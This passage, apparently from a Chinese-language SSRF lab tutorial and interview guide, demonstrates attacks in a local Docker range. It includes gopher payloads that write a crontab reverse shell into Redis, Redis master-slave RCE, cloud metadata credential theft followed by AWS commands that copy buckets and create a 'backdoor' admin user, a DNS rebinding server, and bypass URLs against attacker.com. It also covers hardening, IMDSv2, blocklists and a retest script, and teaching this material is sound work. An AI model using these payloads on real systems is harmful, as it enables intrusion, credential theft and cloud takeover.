#      或 https://github.com/Ridter/redis-rce
# 这里只给原理说明,实际用现成工具
print("【4】主从复制 RCE:")
print("    用 redis-rce.py:")
print("    python3 redis-rce.py -r 127.0.0.1 -p 6379 -L 你的IP -f exp.so")

5.2.4 完整攻击演示

# ═══ 准备工作 ═══

# ① 起一个 Redis(无密码、root 运行 —— 模拟最常见的错误配置)
docker run -d --name redis-vuln --network lab-net \
  -p 127.0.0.1:6379:6379 \
  redis:5.0.14 redis-server --protected-mode no
sleep 3

# ② 生成 payload
python3 gen_gopher.py > /tmp/payloads.txt

# ═══ 步骤 1:先验证 SSRF 能连到 Redis ═══
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A"
# 预期输出:+PONG
#
# ★★ 看到 PONG 的那一刻你就明白了:
#    SSRF 漏洞变成了"任意 TCP 客户端"
#    它能和任何基于文本的协议对话:Redis、MySQL、Memcached、SMTP、FTP...

# ═══ 步骤 2:执行 info 看 Redis 版本和目录 ═══
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0AINFO%0D%0A" \
  | grep -E "redis_version|os:|executable|config_file"
# 预期输出:
# redis_version:5.0.14
# os:Linux 5.x x86_64
# executable:/data/redis-server
# config_file:

# ═══ 步骤 3:写入 crontab ═══
PAYLOAD=$(sed -n '2p' /tmp/payloads.txt)   # 取第一行 payload
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=$PAYLOAD"
# 预期输出:+OK +OK +OK +OK +OK +OK
#           ★ 每个 +OK 对应一条 Redis 命令执行成功

# ═══ 步骤 4:确认写入成功 ═══
docker exec redis-vuln cat /var/spool/cron/root
# 预期输出:
# */1 * * * * bash -i >& /dev/tcp/172.20.0.1/4444 0>&1

# ═══ 步骤 5:开监听等反弹 ═══
nc -lvnp 4444
# 等待最多 1 分钟(crontab 是每分钟执行一次)
# 预期:
# connect to [172.20.0.1] from (UNKNOWN) [172.20.0.4] 45678
# root@redis:/data# id
# uid=0(root) gid=0(root) groups=0(root)
#
# ★★★ 拿到 root shell

★ 但这个实验在 Docker 里可能不成功,原因:

  1. Docker 容器里通常没有安装 cron
  2. Redis 官方镜像不是 root 运行(新版已经是 redis 用户)

两个条件恰好印证了 11 号文档说的:Redis 未授权的严重性 = 能写文件 × root 运行 × 公网可达。 官方镜像默认已经把“root 运行”这一环给断了——这就是安全基线的价值。

在 Docker 里验证写入能力(不一定要真反弹):

# 改成写到 /tmp 目录,验证"能写文件"这个能力
PAYLOAD="gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2414%0D%0A%0A%0ASSRF-WORKS%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%244%0D%0A%2Ftmp%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Atest%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A"

curl -s "http://127.0.0.1:8888/ssrf/fetch?url=$PAYLOAD"
# 预期:+OK+OK+OK+OK+OK+OK

docker exec redis-vuln cat /tmp/test
# 预期输出:SSRF-WORKS
#
# ★ 证明:通过 SSRF + gopher,我们成功在 Redis 服务器上写了文件

5.2.5 主从复制 RCE(Redis 4.x/5.x 的通用解法)

当 CONFIG 命令被禁用(rename-command CONFIG "")时,写文件这条路断了。 但主从复制不需要 CONFIG 命令。

# 用现成工具
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce

# 下载恶意 .so(或自己编译)
# 这个 .so 里包含一个自定义的 Redis 模块,加载后能执行系统命令

# 用法:
python3 redis-rce.py \
  -r 127.0.0.1 -p 6379 \        # 目标 Redis
  -L 172.20.0.1 \                # 你的 IP(伪装成主库)
  -P 8888 \                      # 你的端口
  -f exp.so \                    # 恶意模块
  -c "id"                        # 要执行的命令

# 预期输出:
# [*] Connecting to 127.0.0.1:6379
# [*] Setting up rogue server
# [*] SLAVEOF 172.20.0.1:8888
# [*] Syncing...
# [*] Loading module...
# [*] Executing: id
# uid=0(root) gid=0(root) groups=0(root)

★ 为什么主从复制更强?

写文件方式 主从复制方式
需要 CONFIG 命令 ✅ 需要 ❌ 不需要
需要可写目录 ✅ 需要 ❌ 不需要
需要知道路径 ✅ 需要 ❌ 不需要
落磁盘 ✅ 落(crontab/ssh key) ❌ 不落磁盘(内存加载 so)
受 rename-command CONFIG 影响 ✅ 被防住 ❌ 不受影响

防御(Redis 侧):

# redis.conf —— 全套加固
requirepass Str0ng_P@ssw0rd_Here!    # ① 强密码
bind 127.0.0.1                        # ② 只监听本机
protected-mode yes                    # ③ 保护模式
rename-command CONFIG ""              # ④ 禁用 CONFIG(防写文件落马)
rename-command FLUSHALL ""             # ⑤ 禁删库
rename-command EVAL ""                 # ⑥ 禁 Lua 执行
rename-command MODULE ""               # ★⑦ 禁 MODULE(防主从复制加载 so)
rename-command SLAVEOF ""              # ★⑧ 禁 SLAVEOF(防主从复制 RCE)

# 启动用户:非 root
user redis
# Docker 启动的正确姿势
docker run -d --name redis-safe \
  --network lab-net \
  -p 127.0.0.1:6379:6379 \              # ★ 只监听 127.0.0.1
  -v /path/to/redis.conf:/usr/local/etc/redis/redis.conf \
  redis:7.0 \
  redis-server /usr/local/etc/redis/redis.conf

# 验证加固
redis-cli -h 127.0.0.1 ping
# 预期:(error) NOAUTH Authentication required.   ← 需要密码了 ✓

5.3 打云元数据(本地模拟)

5.3.1 什么是元数据服务

云厂商给【每一台云服务器】开的一个固定内网地址:
  AWS / 阿里云 / 腾讯云 / 华为云:169.254.169.254

这台机器访问这个地址,能拿到关于【它自己】的信息:
  - 实例 ID、地域、可用区
  - 网络配置(内网 IP、公网 IP、安全组)
  - ★★★ 临时访问凭证(AK/SK / STS Token)← 最危险
  - 用户数据(user-data,★ 很多人在里面放启动脚本和密钥!)

★ 危险三连:
  1. 内网地址 → 防火墙/安全组不拦(出网规则通常只限制"访问公网")
  2. 无需认证 → 谁访问都给
  3. 任何程序都能访问 → 不只是 curl,任何能发 HTTP 请求的代码都行

5.3.2 本地模拟一个元数据服务

真实云上没有条件测试,我们自己搭一个假的:

#!/usr/bin/env python3
"""模拟云元数据服务 —— 用于 SSRF 实验
★ 只在本地 Docker 网络里运行"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class MetadataHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()

        # ★ 故意返回"敏感信息",模拟真实元数据服务
        responses = {
            '/': "1.0\n2016-09-02\nlatest",
            '/latest/': "meta-data\ndynamic\nuser-data",
            '/latest/meta-data/': "instance-id\nlocal-ipv4\npublic-ipv4\nsecurity-groups",
            '/latest/meta-data/instance-id': "i-0abc123def456789",
            '/latest/meta-data/local-ipv4': "172.20.0.5",
            '/latest/meta-data/public-ipv4': "47.98.xxx.xxx",
            '/latest/meta-data/security-groups': "sg-default\nsg-web",

            # ★★★ 最关键的部分:IAM 角色凭证
            '/latest/meta-data/iam/security-credentials/': "ecs-role",
            '/latest/meta-data/iam/security-credentials/ecs-role': json.dumps({
                "Code": "Success",
                "AccessKeyId": "STS.NTg4YjE0ZTktZmYwNy00",
                "AccessKeySecret": "8Kj3Hn2PqR5tYu7VwX9zAb1Cd2Ef3Gh4Ij5Kl6Mn7Op8",
                "SecurityToken": "CAIShwJ1q6Ft5B2yfSjIr5fbDIjPvZ...",
                "Expiration": "2026-09-04T16:00:00Z"
            }, indent=2),

            # ★ user-data 里经常被塞密钥(非常常见的错误实践)
            '/latest/user-data': """#!/bin/bash
export DB_PASSWORD='Pr0d_DB_2024!'
export OSS_AK='LTAI5t9XXXXXXXXXX'
export OSS_SK='Kj3Hn2PqR5tYu7VwX9zAb1Cd2Ef3Gh4'
echo "startup done"
"""
        }

        body = responses.get(path, "404 Not Found")
        self.wfile.write(body.encode())

    def log_message(self, *args):
        # 打印访问日志,方便观察 SSRF 请求
        print(f"[元数据服务] 被访问: {self.path}  来自: {self.client_address[0]}")

if __name__ == '__main__':
    print("[*] 模拟云元数据服务启动在 0.0.0.0:8111")
    HTTPServer(('0.0.0.0', 8111), MetadataHandler).serve_forever()
# 启动模拟服务(★ 绑定到 169.254.169.254 更真实,Linux 下可以)
# 方式一:直接用 8111 端口模拟
python3 fake_metadata.py &

# 方式二(Linux,更真实):把 169.254.169.254 绑到本地回环
sudo ip addr add 169.254.169.254/32 dev lo
# 然后让服务监听 80 端口
# sudo python3 -c "修改端口为80后运行"

5.3.3 发起攻击

# ═══ 直接打(模拟真实云环境) ═══
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://169.254.169.254/latest/meta-data/"

# 用模拟服务(8111 端口)
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://127.0.0.1:8111/latest/meta-data/iam/security-credentials/"
# 预期输出:ecs-role

curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://127.0.0.1:8111/latest/meta-data/iam/security-credentials/ecs-role"
# 预期输出(★ 拿到钥匙了):
# {
#   "Code": "Success",
#   "AccessKeyId": "STS.NTg4YjE0ZTktZmYwNy00",
#   "AccessKeySecret": "8Kj3Hn2PqR5tYu7VwX9zAb1Cd2Ef3Gh4Ij5Kl6Mn7Op8",
#   "SecurityToken": "CAIShwJ1q6Ft5B2yfSjIr5fbDIjPvZ...",
#   "Expiration": "2026-09-04T16:00:00Z"
# }

# ═══★ 更狠的:连 user-data 一起拿走 ═══
curl -s "http://127.0.0.1:8888/ssrf/fetch?url=http://127.0.0.1:8111/latest/user-data"
# 预期输出(★ 直接拿到数据库密码和 OSS 密钥):
# #!/bin/bash
# export DB_PASSWORD='Pr0d_DB_2024!'
# export OSS_AK='LTAI5t9XXXXXXXXXX'
# export OSS_SK='Kj3Hn2PqR5tYu7VwX9zAb1Cd2Ef3Gh4'

★ 拿到 AK 之后能做什么(真实云上):

# 配置云 CLI
aws configure set aws_access_key_id     "STS.NTg4..."
aws configure set aws_secret_access_key "8Kj3Hn2..."
aws configure set aws_session_token     "CAIShwJ1..."

# ① 列出所有 S3/OSS 存储桶
aws s3 ls
# ② 下载所有数据
aws s3 sync s3://company-backup ./stolen/
# ③ 创建新的管理员账号(持久化)
aws iam create-user --user-name backdoor
aws iam attach-user-policy --user-name backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# ④ 开一台挖矿机
aws ec2 run-instances --instance-type p3.8xlarge ...

★★ 从“一个 SSRF”到“整个云账号沦陷”,中间只差一次 HTTP 请求。

5.3.4 防御:IMDSv2(★ 重点)

IMDSv1(旧):GET /latest/meta-data/...           → 直接返回凭证
IMDSv2(新):① PUT /latest/api/token             → 拿一个 token
             ② GET /latest/meta-data/... 带 X-aws-ec2-metadata-token 头 → 才返回

★ 为什么 IMDSv2 能防住大部分 SSRF?
  1. 需要 PUT 方法 —— 大部分 SSRF 漏洞只能发 GET
  2. 需要自定义请求头 —— SSRF 通常控制不了 Header
  3. ★ 关键:IMDSv2 会【拒绝带 X-Forwarded-For 头的请求】
     → 直接掐死"通过代理转发"这种 SSRF 利用方式
  4. TTL 默认 1 跳 —— 响应不会被转发

各云厂商的加固方式:

# ═══ AWS:强制 IMDSv2 ═══
aws ec2 modify-instance-metadata-options \
  --instance-id i-0abc123 \
  --http-tokens required \
  --http-endpoint enabled

# ═══ 阿里云:加固模式 ═══
# 控制台 → 实例 → 元数据 → 开启"加固模式"
# 或 CLI:
aliyun ecs ModifyInstanceMetadataOptions \
  --InstanceId i-xxx --HttpTokens required

# ═══ 腾讯云 ═══
# 控制台 → 实例 → 元数据安全 → 开启

# ═══ 应用侧的兜底防御 ═══
// ★ 应用侧:把元数据地址加入 SSRF 黑名单(兜底,不能只靠这个)
private static final Set<String> BLOCKED_HOSTS = Set.of(
    "169.254.169.254",      // AWS / 阿里云 / 腾讯云 / 华为云
    "metadata.google.internal",  // GCP
    "100.100.100.200",      // 阿里云内网 DNS / 部分元数据
    "metadata", "instance-data"
);
// ★ 还要在 isPrivateIp() 里加 169.254.0.0/16 的 link-local 判断(见 1.4.7 的代码)

5.4 DNS Rebinding 复现(★ 最精妙的绕过)

这是本章最难、也最能体现深度的实验。 做到这个,你就超过了 90% 的候选人。

5.4.1 原理回顾

攻击者的域名 evil.com,自己控制的 DNS 服务器,TTL 设为 0

时序:
  T1  应用调用 InetAddress.getByName("evil.com")
      → DNS 返回 1.2.3.4(外网 IP)
      → 应用校验:1.2.3.4 不是内网 → ✅ 通过

  T2  应用调用 URL.openConnection() 真正发起连接
      → 因为 TTL=0,系统重新解析
      → DNS 这次返回 127.0.0.1
      → 连接建立到了 127.0.0.1  ← ★★ 打到了内网

★ 根因:校验和使用之间有时间差(TOCTOU),
       而 DNS 的解析结果在这段时间里【变了】

5.4.2 自己搭一个恶意 DNS 服务器

#!/usr/bin/env python3
"""DNS Rebinding 攻击服务器
★ 只在本地实验使用
原理:同一个域名,交替返回【外网 IP】和【内网 IP】"""
import socket
import struct
import threading
import time
import sys

# ★ 关键点:TTL 设成 0,强制客户端每次都重新解析
TTL = 0
FIRST_IP  = "1.2.3.4"      # 第一次返回:外网 IP(骗过白名单校验)
SECOND_IP = "127.0.0.1"    # 第二次返回:内网 IP(真正连接的目标)
TARGET_DOMAIN = "rebinding.test"

# 记录每个客户端的请求次数
query_count = {}
lock = threading.Lock()

def build_response(query_data, ip):
    """构造 DNS 响应包"""
    # 事务 ID
    tid = query_data[0:2]
    # Flags: 标准响应,无错误
    flags = b'\x81\x80'
    # 问题数、回答数
    qdcount = b'\x00\x01'
    ancount = b'\x00\x01'
    nscount = b'\x00\x00'
    arcount = b'\x00\x00'

    header = tid + flags + qdcount + ancount + nscount + arcount

    # 提取问题部分(从 0x0C 开始到第一个 0x00 结束,再加 4 字节的 QTYPE+QCLASS)
    question_start = 12
    question_end = question_start
    while query_data[question_end] != 0:
        question_end += 1
    question_end += 5     # 0x00 + QTYPE(2) + QCLASS(2)
    question = query_data[question_start:question_end]

    # 回答部分:指向问题名的指针 (0xC00C)
    answer = b'\xc0\x0c'
    answer += b'\x00\x01'          # TYPE = A
    answer += b'\x00\x01'          # CLASS = IN
    answer += struct.pack('>I', TTL)   # ★ TTL = 0
    answer += b'\x00\x04'          # RDLENGTH = 4
    answer += socket.inet_aton(ip)     # RDATA = IP

    return header + question + answer

def handle(data, addr, sock):
    """处理单个查询"""
    client = addr[0]

    with lock:
        query_count[client] = query_count.get(client, 0) + 1
        n = query_count[client]

    # ★★ 核心逻辑:第 1 次返回外网 IP,第 2 次起返回内网 IP
    ip = FIRST_IP if n == 1 else SECOND_IP

    try:
        # 提取域名(简单解析)
        domain = data[12:].split(b'\x00')[0].decode('utf-8', errors='ignore')
        print(f"[{time.strftime('%H:%M:%S')}] 查询 #{n} 来自 {client}: "
              f"{domain} → 返回 {ip}")
    except Exception:
        pass

    sock.sendto(build_response(data, ip), addr)

if __name__ == '__main__':
    print(f"[*] DNS Rebinding 服务器启动在 0.0.0.0:53")
    print(f"[*] 域名: {TARGET_DOMAIN}")
    print(f"[*] 第 1 次查询 → {FIRST_IP} (外网,骗过校验)")
    print(f"[*] 第 2 次查询 → {SECOND_IP} (内网,真正连接)")
    print()
    print("使用方法:")
    print("  在靶场机器上把 DNS 指向本服务器:")
    print(f"    echo 'nameserver 你的IP' > /etc/resolv.conf")
    print(f"  然后访问:http://靶场:8888/ssrf/fetch?url=http://{TARGET_DOMAIN}:8888/")

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('0.0.0.0', 53))

    while True:
        data, addr = sock.recvfrom(512)
        threading.Thread(target=handle, args=(data, addr, sock)).start()

5.4.3 复现攻击

# ═══ 步骤 1:启动恶意 DNS 服务器 ═══
sudo python3 dns_rebind.py
# (需要 53 端口权限,或者用 5353 端口 + 靶场 DNS 配置)

# ═══ 步骤 2:让靶场机器使用我们的 DNS ═══
# 如果靶场跑在 Docker 里:
docker exec -it <靶场容器> sh -c "echo 'nameserver 172.20.0.1' > /etc/resolv.conf"

# 或者在 docker run 时指定:
docker run -d --dns 172.20.0.1 ... vuln-lab

# ═══ 步骤 3:用一个"有 SSRF 但有 IP 校验"的接口测试 ═══
# 假设靶场有一个接口只做了"解析域名 → 校验 IP"的黑名单
curl -s "http://127.0.0.1:8888/ssrf/fetch-vuln-check?url=http://rebinding.test:8888/actuator/env"

# 预期过程(DNS 服务器日志):
# [15:30:01] 查询 #1 来自 172.20.0.5: rebinding.test → 返回 1.2.3.4
#            ↑ 应用解析域名,拿到 1.2.3.4,校验通过(不是内网)
# [15:30:01] 查询 #2 来自 172.20.0.5: rebinding.test → 返回 127.0.0.1
#            ↑ 应用发起连接,重新解析,这次拿到 127.0.0.1
#            → 连接建立到 127.0.0.1:8888
#            → ★★ 拿到了 actuator/env 的内容!

# ═══ 步骤 4:验证绕过成功 ═══
# 如果返回了 actuator 的配置信息,说明绕过成功

5.4.4 三种防御方式(★ 面试必答)

// ✅ 防御 1:校验通过后,【用 IP 重建 URL】再连接(★ 最根本)
//           把 DNS 解析结果"固定"下来,不给它第二次变化的机会
URL u = new URL(userUrl);
InetAddress addr = InetAddress.getByName(u.getHost());
if (isPrivateIp(addr)) {
    throw new SecurityException("禁止访问内网");
}
// ★★ 关键:用解析到的 IP 重建 URL,而不是用原域名
String ip = addr.getHostAddress();
URL safeUrl = new URL(u.getProtocol(), ip,
                      u.getPort() == -1 ? u.getDefaultPort() : u.getPort(),
                      u.getFile());
HttpURLConnection conn = (HttpURLConnection) safeUrl.openConnection();
// ★ 但要注意:这样 Host 头会变成 IP,对 HTTPS 的 SNI 和虚拟主机有影响
//   生产环境需要额外设置 Host 头,且不能因此放松校验

// ✅ 防御 2:连接建立后【再校验一次】对端 IP(★ 最可靠)
SocketFactory factory = new SocketFactory() {
    @Override
    public Socket createSocket(String host, int port) {
        Socket s = new Socket();
        s.connect(new InetSocketAddress(host, port), 3000);
        // ★★ 连接建立后,校验【实际连接到的 IP】
        InetAddress actual = s.getInetAddress();
        if (isPrivateIp(actual)) {
            s.close();
            throw new SecurityException("DNS Rebinding 检测:实际连接到内网 " + actual);
        }
        return s;
    }
};
// 把这个 factory 设给 HttpsURLConnection

// ✅ 防御 3:自己实现 DNS 解析并缓存【忽略 TTL】
private static final Map<String, String> dnsCache = new ConcurrentHashMap<>();

private String resolveAndCache(String host) {
    return dnsCache.computeIfAbsent(host, h -> {
        try {
            return InetAddress.getByName(h).getHostAddress();
        } catch (Exception e) {
            throw new SecurityException("DNS 解析失败", e);
        }
    });
    // ★ 缓存后不再重新解析,DNS 无法 rebinding
}

★ 对比表(面试时列这个):

防御方式 效果 缺点
解析后校验 IP ❌ 无效 有 TOCTOU 窗口
用 IP 重建 URL ✅ 有效 HTTPS 场景要处理 SNI/Host 头
连接后校验实际 IP ✅✅ 最可靠 需要自定义 SocketFactory
自建 DNS 缓存忽略 TTL ✅ 有效 缓存需要管理,且要配合其他措施
域名白名单 ✅✅ 最推荐 只适合访问固定几个外部服务的场景

5.5 绕过技巧实操(★ 面试高频)

面试官问“SSRF 怎么防”,你答“校验 IP 黑名单”——他下一个问题必然是“那怎么绕过?” 下面这些你要能说出 5 种以上。

# 准备一个只做黑名单校验的接口做测试
# 假设它拦 127.0.0.1 和 localhost

# ═══ 绕过 1:十进制 / 八进制 / 十六进制 IP ═══
curl "?url=http://2130706433/"        # 2130706433 = 127.0.0.1(十进制)
curl "?url=http://0x7F000001/"        # 十六进制
curl "?url=http://017700000001/"      # 八进制
# 验证:python3 -c "print(2130706433 >> 24 & 255, 2130706433 >> 16 & 255, ...)"
python3 -c "
import socket,struct
print(struct.unpack('!I', socket.inet_aton('127.0.0.1'))[0])  # 2130706433
"

# ═══ 绕过 2:特殊的 localhost 写法 ═══
curl "?url=http://127.1/"             # ★ 127.1 等价于 127.0.0.1
curl "?url=http://127.0.1/"           # 127.0.0.1 的另一种写法
curl "?url=http://0.0.0.0/"           # 某些系统上等价
curl "?url=http://[::1]/"             # IPv6 的 localhost
curl "?url=http://[::ffff:127.0.0.1]/"  # IPv4-mapped IPv6

# ═══ 绕过 3:自己的域名 A 记录指向内网 ═══
# 在 DNS 服务商那里加一条 A 记录:
#   evil.attacker.com  A  127.0.0.1
curl "?url=http://evil.attacker.com:8888/actuator/env"

# 或者用现成的服务(★ 这些是安全研究者提供的公共服务):
curl "?url=http://localtest.me/"          # localtest.me 解析到 127.0.0.1
curl "?url=http://127.0.0.1.nip.io/"      # nip.io 会把域名里的 IP 解析出来
curl "?url=http://spoofed.burpcollaborator.net/"

# ═══ 绕过 4:302 重定向 ═══
# 攻击者自己的服务器上放一个 302.php:
#   <?php header('Location: http://127.0.0.1:8888/actuator/env'); ?>
curl "?url=http://attacker.com/302.php"
# ★ 应用第一次请求的是外网地址(校验通过),然后跟随 302 跳到内网
# → 防御:conn.setInstanceFollowRedirects(false)

# ═══ 绕过 5:短链 ═══
curl "?url=http://tinyurl.com/xxxxx"    # 短链背后的真实地址可以是内网的
# ★ 同上,也是靠重定向

# ═══ 绕过 6:DNS Rebinding ═══
# 见 5.4

# ═══ 绕过 7:Unicode / IDN 归一化 ═══
curl "?url=http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ/"   # 带圈字符,会被 IDN 归一化成 localhost
curl "?url=http://①②⑦.0.0.1/"       # 全角数字
# ★ 浏览器和某些库会自动做 IDNA 归一化

# ═══ 绕过 8:URL 解析差异(★ 最容易被忽视) ═══
# 不同语言/库对 URL 的解析不一致,导致"校验时看到的是 A,请求时发的是 B"
curl "?url=http://foo@127.0.0.1:8888/bar"      # @ 前面是"用户名",实际连 127.0.0.1
curl "?url=http://127.0.0.1#@attacker.com/"    # # 后面是 fragment
curl "?url=http://attacker.com\@127.0.0.1/"    # 反斜杠
curl "?url=http://127.0.0.1:8888 .attacker.com/"  # 空格

# ★ 经典案例:Java 的 URL 和某些校验库对 http://a.com@127.0.0.1 的
#   getHost() 返回值不同 → 校验过了但实际连的是 127.0.0.1
python3 -c "
from urllib.parse import urlparse
u = urlparse('http://foo@127.0.0.1:8888/bar')
print('hostname:', u.hostname)   # 127.0.0.1  ← 这才是真实连接的地址
print('netloc:', u.netloc)       # foo@127.0.0.1:8888
"

★ 综合防御代码(生产级):

public final class SafeUrlFetcher {

    // 允许的协议
    private static final Set<String> ALLOWED_PROTOCOLS = Set.of("http", "https");
    // 允许的端口
    private static final Set<Integer> ALLOWED_PORTS = Set.of(80, 443, 8080);
    // 禁止的 Host
    private static final Set<String> BLOCKED_HOSTS = Set.of(
        "169.254.169.254", "metadata", "metadata.google.internal",
        "localhost", "instance-data"
    );

    public String fetch(String userUrl) throws IOException {
        URL url = new URL(userUrl);

        // ① 协议白名单
        String proto = url.getProtocol().toLowerCase();
        if (!ALLOWED_PROTOCOLS.contains(proto)) {
            throw new SecurityException("协议不允许: " + proto);
        }

        // ② ★ 端口白名单(防止打 6379/3306 等内网服务)
        int port = url.getPort() == -1 ? url.getDefaultPort() : url.getPort();
        if (!ALLOWED_PORTS.contains(port)) {
            throw new SecurityException("端口不允许: " + port);
        }

        // ③ ★ 用权威方式取 host(避免 @ 等绕过)
        URI uri = url.toURI();
        String host = uri.getHost();
        if (host == null) {
            throw new SecurityException("无法解析主机名(可能是畸形 URL)");
        }
        host = host.toLowerCase();

        // ④ 禁用的 Host
        if (BLOCKED_HOSTS.contains(host)) {
            throw new SecurityException("禁止访问的主机: " + host);
        }

        // ⑤ 解析 IP(★ 用自建缓存,防 DNS Rebinding)
        InetAddress addr = InetAddress.getByName(host);
        if (isPrivateOrReserved(addr)) {
            throw new SecurityException("禁止访问内网地址: " + addr.getHostAddress());
        }

        // ⑥ 建立连接
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setInstanceFollowRedirects(false);   // ★ ⑦ 禁重定向
        conn.setConnectTimeout(3000);
        conn.setReadTimeout(5000);

        // ⑧ 响应后校验
        int code = conn.getResponseCode();
        if (code >= 300 && code < 400) {
            throw new SecurityException("不允许重定向");
        }
        if (conn.getContentLength() > 10 * 1024 * 1024) {
            throw new SecurityException("响应过大");
        }

        return readStream(conn.getInputStream());
    }

    private boolean isPrivateOrReserved(InetAddress addr) {
        if (addr.isLoopbackAddress() || addr.isSiteLocalAddress()
                || addr.isAnyLocalAddress() || addr.isLinkLocalAddress()
                || addr.isMulticastAddress()) {
            return true;
        }
        byte[] b = addr.getAddress();
        if (b.length == 4) {
            int o1 = b[0] & 0xFF, o2 = b[1] & 0xFF;
            if (o1 == 10) return true;                           // 10/8
            if (o1 == 172 && o2 >= 16 && o2 <= 31) return true;  // 172.16/12
            if (o1 == 192 && o2 == 168) return true;             // 192.168/16
            if (o1 == 169 && o2 == 254) return true;             // 169.254/16 ★ 元数据
            if (o1 == 127) return true;                          // 127/8
            if (o1 == 0) return true;                            // 0/8
            if (o1 >= 224) return true;                          // 组播和保留
            if (o1 == 100 && o2 >= 64 && o2 <= 127) return true; // 100.64/10 CGNAT
        } else if (b.length == 16) {
            // IPv6
            if (b[0] == 0 && b[1] == 0 && b[2] == 0 && b[3] == 0
                    && b[4] == 0 && b[5] == 0) return true;      // ::1 等
            if ((b[0] & 0xFE) == 0xFC) return true;              // fc00::/7 唯一本地
            if (b[0] == (byte)0xFE && (b[1] & 0xC0) == 0x80) return true;  // fe80::/10 链路本地
        }
        return false;
    }
}

5.6 复测脚本

#!/usr/bin/env bash
# verify_ssrf.sh
TARGET="${1:-http://127.0.0.1:8888}"
PASS=0; FAIL=0

try() {
  local url="$1"; local desc="$2"; local bad="${3:-uid=|root:|java.version|Actuator}"
  local resp=$(curl -s --max-time 6 -G "$TARGET/ssrf/fetch" --data-urlencode "url=$url" 2>/dev/null)
  if echo "$resp" | grep -qE "$bad"; then
    echo "  ✗ [可被利用] $desc"
    echo "        → $(echo "$resp" | head -c 120)"
    FAIL=$((FAIL+1))
  else
    echo "  ✓ [已防护]   $desc"
    PASS=$((PASS+1))
  fi
}

echo "════════ SSRF 复测 ════════"
echo "目标: $TARGET"
echo ""

echo "【1】本地回环"
try "http://127.0.0.1:8888/actuator/env"      "127.0.0.1"
try "http://localhost:8888/actuator/env"      "localhost"
try "http://127.1:8888/actuator/env"          "127.1 简写"
try "http://2130706433:8888/actuator/env"     "十进制 IP"
try "http://0x7F000001:8888/actuator/env"     "十六进制 IP"
try "http://[::1]:8888/actuator/env"          "IPv6 ::1"

echo ""
echo "【2】文件协议"
try "file:///etc/passwd"                       "file 协议读文件" "root:|/bin/bash"

echo ""
echo "【3】云元数据"
try "http://169.254.169.254/latest/meta-data/"  "AWS/阿里云元数据"
try "http://metadata.google.internal/"          "GCP 元数据"

echo ""
echo "【4】内网服务"
try "http://172.20.0.2:6379/"                   "Redis 6379"
try "http://172.20.0.3:3306/"                   "MySQL 3306"
try "gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A"  "gopher 协议" "PONG"

echo ""
echo "【5】重定向绕过"
# 需要先准备一个 302 服务,这里用 httpbin 演示
try "http://httpbin.org/redirect-to?url=http://127.0.0.1:8888/actuator/env" "302 重定向"

echo ""
echo "════════ 结果 ════════"
echo "通过: $PASS    失败: $FAIL"
[ $FAIL -eq 0 ] && echo "★ 全部通过,SSRF 已修复" || echo "!! 仍有 $FAIL 项可被利用"

5.7 面试怎么讲

30 秒口述版

“SSRF 我做的是从探测一路打到拿凭证的完整实验。基础部分用 file:/// 读了 passwd,用端口扫描确认了内网的 Redis。

最精妙的是 gopher 打 Redis:Redis 的 RESP 协议是纯文本的,而 gopher 能构造任意 TCP 报文,所以我把 Redis 命令转成 RESP 格式、URL 编码后塞进 gopher:// URL 里,让 SSRF 去’访问’它——实际上是向 Redis 发了命令。我写了脚本生成 payload,成功在 Redis 服务器上写了文件。看到 +PONG 的那一刻印象很深,因为这意味着 SSRF 变成了’任意 TCP 客户端’。

云元数据那部分我本地搭了个模拟服务,因为真实云上没条件测。拿到 AK 之后我演示了怎么用它列存储桶、建后门账号——从一个 SSRF 到整个云账号沦陷,中间只差一次 HTTP 请求。

DNS Rebinding 我也复现了,自己写了个恶意 DNS 服务器,第一次查询返回外网 IP 骗过校验,第二次返回 127.0.0.1 真正连接。防御上关键是要在连接建立之后再校验一次 IP,而不是解析后校验,中间有 TOCTOU 窗口。

绕过手法我能说出 8 种以上:十进制 IP、127.1 简写、IPv6、自己的域名 A 记录、302 跳转、短链、Unicode 归一化、还有 URL 解析差异(比如 http://foo@127.0.0.1 里 @ 前面其实是用户名)。所以防御绝不能用 IP 黑名单,要用域名白名单或者连接后校验。“



第六章:Java 反序列化与组件漏洞实战

这一章在全文档里的位置:如果说第二到五章(SQL 注入、XSS/CSRF、文件上传、SSRF)是“Web 层漏洞“, 那这一章就是Java 工程师的专属战场——所有漏洞都长在 Java 生态的组件里。

为什么这章对你(Java 后端)特别重要: 面试官问“你了解哪些 Java 安全漏洞”时,绝大多数候选人只能答“SQL 注入和 XSS”。 而你能答出 Shiro-550 / Log4Shell / Fastjson autotype / SpEL 注入,并讲清楚 “这些漏洞的根因都是同一个:把不可信数据当成了代码去执行”, 这个认知层次是绝大多数候选人到不了的。

这一章的四个 CVE 复现,建议至少亲手做完前两个(Shiro-550 和 Log4Shell), 因为它们是简历上“能讲 5 分钟”的实战故事,而且面试被问到的概率极高(任何用过 Shiro/Log4j 的公司都会问)。

6.0 先建立一张“漏洞地图”

